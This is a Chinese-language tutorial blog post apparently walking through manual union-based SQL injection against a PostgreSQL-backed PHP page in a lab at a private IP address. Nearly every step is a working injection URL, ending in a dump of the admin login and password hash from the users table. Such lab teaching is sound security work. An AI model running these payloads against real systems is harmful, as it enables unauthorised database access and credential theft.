APT404-不作恶

在路上,一直在路上!

Sql注入入门 之 Postgresql常规注入 [ Union方式 ]



1,用于演示的 postgresql 常规注入点,如下:

1
http://192.168.3.51/cat.php?id=1

''

2,依然是一个神奇的单引号,pgsql返回报错,这里可能需要您稍微注意下pgsql的报错信息,pg_前缀一般指的都是postgresql数据库,而像ora前缀一般指的都是oracle数据库,mysql一般都是mysql的前缀,稍微注意下就行

1
http://192.168.3.51/cat.php?id=1'

''

3,典型的常规数字型注入

1
http://192.168.3.51/cat.php?id=1 and 1=1 	条件为真时,页面返回正常

''

1
http://192.168.3.51/cat.php?id=1 and 1=112  条件为假时,页面返回异常

''

4,查询当前表的字段个数

1
http://192.168.3.51/cat.php?id=1 order by 4  字段个数为4时返回正常

''

1
http://192.168.3.51/cat.php?id=1 order by 5  字段个数为5时返回错误,可知当前表的字段个数为4

''

5,因为postgresql不支持像mysql或者access那样直接用数字来表示,所以这里只能用null来表示,null可以兼容任意数据类型嘛,sqlmap默认都是用null进行探测

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,null,null,null --

''

6,在得知确切的字段个数后,紧接着就该爆出数据显示位了,这里依然不像数字那么直接,我们需要逐个字段尝试可以正常显示数据的字段位,因为union要求前后的数据字段类型和个数都要完全一致才可以,利用这一特性,我们可以知道某个字段是什么数据类型,可以看到第二个字段是字符型的,也就是说我们等会儿可以把查出来的数据都显示在这个字段上

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,'s',null,null --

''

7,搜集数据库的各种信息
获取当前数据库版本

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,version(),null,null --

''

获取当前数据库用户名

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,current_user,null,null --

''

获取当前当前数据库名

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,current_database(),null,null--

''

8,获取当前数据库中所有具有dba(数据库管理员)权限的用户,同样是利用limit即可依次遍历出所有具有dba权限的用户名,只不过这里的limit和mysql中的limit有点儿不大一样,中间并不是用逗号而是直接用了个offset关键字,来设置偏移量

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,usename,null,null FROM pg_user WHERE usesuper IS TRUE limit 1 offset 0--

''

9,获取所有的数据库名(有权限看到的所有数据库名),同样是利用limit即可依次遍历出所有数据库名,实际注入中,用burupsuite跑下即可
如下,获取第一个数据库名

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,datname,null,null from pg_database limit 1 offset 0 --

''

如下,获取第二个数据库名

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,datname,null,null from pg_database limit 1 offset 1 --

''

10,获取当前库中所有的表名
获取第一张表名

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,tablename,null,null from pg_tables where schemaname='public'  limit 1 offset 0 --

''

获取第二张表名,看到’users’ 正是我们想要的管理表

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,tablename,null,null from pg_tables where schemaname='public'  limit 1 offset 1 --

''

11,获取users表中的所有字段名
获取users表中的第二个字段名,其结果为’password’

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,column_name,null,null from information_schema.columns where table_name='users' limit 1 offset 1 --

''

获取user表中的第三个字段名,其结果为’login’

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,column_name,null,null from information_schema.columns where table_name='users' limit 1 offset 2 --

''

12,获取对应账号密码字段的数据即可

1
http://192.168.3.51/cat.php?id=1 and 1=12 union select null,login||'::'||password,null,null from public.users--

''

最终,获取到的数据如下

1
admin::8efe310f9ab3efeae8d410a8e0166eb2




一点小结:
    关于pgsql的常规手注大概就这些了,跟mysql还有mssql的注入都非常接近,比较简单,就不多说了,大家多练习,多实战,然后不断解决实际中遇到的各种各样的问题,长此以往快就能慢慢积累自己的实战经验了,进步自然就稳健多了……